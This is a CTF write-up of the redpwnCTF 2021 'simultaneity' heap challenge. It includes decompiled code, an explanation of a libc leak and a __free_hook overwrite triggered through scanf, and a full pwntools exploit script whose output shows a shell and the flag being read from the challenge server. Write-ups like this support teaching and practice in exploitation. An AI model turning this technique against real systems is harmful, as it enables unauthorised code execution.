Tags: scanf pwn heap 

Rating:

# redpwnCTF 2021

## simultaneity

> asphyxia
>
> Just an instant remains before the world comes to an end...
>
> `nc mc.ax 31547`
>
> [libc.so.6](libc.so.6) [ld-linux-x86-64.so.2](ld-linux-x86-64.so.2) [simultaneity](simultaneity)

Tags: _pwn_ _x86-64_ _heap_ _scanf_

## Summary

Fun challenge where `scanf` does double duty writing out our exploit, but also triggering it.

## Analysis

### Checksec

```
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
```

All mitigations in place sans canary, perhaps a BOF challenge.

### Decompile with Ghidra

The program will allocate a user defined chuck of RAM, request an offset, and then write 8 bytes to that offset.

```c
void main(void)
{
long in_FS_OFFSET;
size_t local_20;
void *local_18;
undefined8 local_10;

local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
setvbuf(stdout,(char *)0x0,2,0);
puts("how big?");
__isoc99_scanf(&%ld,&local_20);
local_18 = malloc(local_20);
printf("you are here: %p\n",local_18);
puts("how far?");
__isoc99_scanf(&%ld,&local_20);
puts("what?");
__isoc99_scanf(&%zu,(void *)((long)local_18 + local_20 * 8));
_exit(0);
}
```

That `_exit(0)` at the end basically takes care of any potential stack-based buffer overflow (the compiler new this, so no need for the canary).

The `malloc` return isn't being checked for NULL, so using a NULL pointer + the `how far?`; you have an 8-byte _write-what-where_, but where to write? Need a leak.

`malloc`, with a large size, but not so large to fail and return a NULL pointer, will allocate a chuck that is aligned with base of libc. This will provide a leak for the `what?` arbitrary 8-byte write. The natural target is anything ending in `_hook`.

We get one 8-byte write (`what?`) courteous of `scanf`, and that same `scanf` needs to trigger the hook. With only 8-bytes, _one\_gadget_ is the natural choice.

`scanf` and `printf` will call `malloc/free` with large inputs or output, e.g. with `printf` a `%65536c` format-string will trigger `malloc`, the analog for `scanf` in this challenge is to pad our `what?` with a lot of zeros. `scanf` will then call `malloc`, process our input, and write out our hook, then call `free`; naturally we'll use `__free_hook`.

## Exploit

```python
#!/usr/bin/env python3

from pwn import *

binary = context.binary = ELF('./simultaneity')

if args.REMOTE:
p = remote('mc.ax', 31547)
libc = ELF('./libc.so.6')
libc.symbols['gadget'] = [0x4484f,0x448a3,0xe5456][1]
else:
p = process(binary.path)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

p.sendlineafter('big?\n','10000000')
p.recvuntil('here: ')
libc.address = int(p.recvline().strip(),16) + 10002416
log.info('libc.address: ' + hex(libc.address))
log.info('libc.sym.__free_hook: ' + hex(libc.sym.__free_hook))

p.sendlineafter('far?\n',str((libc.sym.__free_hook - libc.address + 10002416) // 8))
p.sendlineafter('what?\n',65536*'0' + str(libc.sym.gadget))
p.interactive()
```

To get the gadgets just run `one_gadget ./libc.so.6` and test each of them.

The `10002416` was just measured in gdb.

The `big?` `10000000` was lifted from another [writeup](https://faraz.faith/2019-10-27-backdoorctf-miscpwn/) xfactor sent to me.

Output:

```bash
# ./exploit.py REMOTE=1
[*] '/pwd/datajerk/redpwnctf2021/pwn/simultaneity/simultaneity'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to mc.ax on port 31547: Done
[*] '/pwd/datajerk/redpwnctf2021/pwn/simultaneity/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] libc.address: 0x7fe75f3dc000
[*] libc.sym.__free_hook: 0x7fe75f5998e8
[*] Switching to interactive mode
$ id
uid=1000 gid=1000 groups=1000
$ cat flag.txt
flag{sc4nf_i3_4_h34p_ch4l13ng3_TKRs8b1DRlN1hoLJ}
```

Original writeup (https://github.com/datajerk/ctf-write-ups/tree/master/redpwnctf2021/simultaneity).